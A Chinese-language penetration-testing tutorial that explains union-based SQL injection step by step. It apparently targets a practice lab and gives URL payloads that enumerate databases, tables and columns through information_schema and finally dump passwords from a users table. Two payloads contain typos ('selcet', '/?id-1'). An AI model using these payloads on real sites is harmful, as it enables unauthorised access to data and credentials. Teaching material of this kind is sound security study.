渗透测试-SQL注入原理

文章目录

  • sql注入原理
  • sql注入基本流程
    • 判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行
    • 判断字段数
    • 判断显错位
    • 判断库名
    • 判断表名
    • 判断列名
    • 判断具体数据

sql注入原理

渗透测试-SQL注入原理_第1张图片

sql注入基本流程

渗透测试-SQL注入原理_第2张图片

判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行

/?id=1 and 1=1 
/?id=2-1
/?id=1 and sleep(5)
....
....

判断字段数

order by (排序用来判断字段数)

/?id=1 order by 1
/?id=1 order by 2
.....
.....

判断显错位

union select (联合查询)
/?id=1 and 1=2 union selcet 1,2,database()

判断库名

database()  查询数据库名函数
/?id=1 and 1=2 union select 2,database(),3

判断表名

 /?id-1 and 1=2 union select 2,3,group_concat(table_name) from information_schema.tables where table_schema='security'

table_name :表名称
information_schema.tables:是MySQL系统数据库中的一个表,用于存储与数据库中表相关的元数据(即元数据信息)
table_schema:表所在的数据库名称

判断列名

/?id=1 and 1=2 union select 2,4,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

column_name : 字段名
information_schema.columns:是MySQL系统数据库中的一个表,用于存储与数据库中表列相关的元数据。
table_schema:表所在的数据库名称
table_name :表名称

判断具体数据

/?id=1 and 1=2 union select 2,4,password from users

你可能感兴趣的:(WEB安全基础,sql,oracle,数据库,网络安全,渗透测试)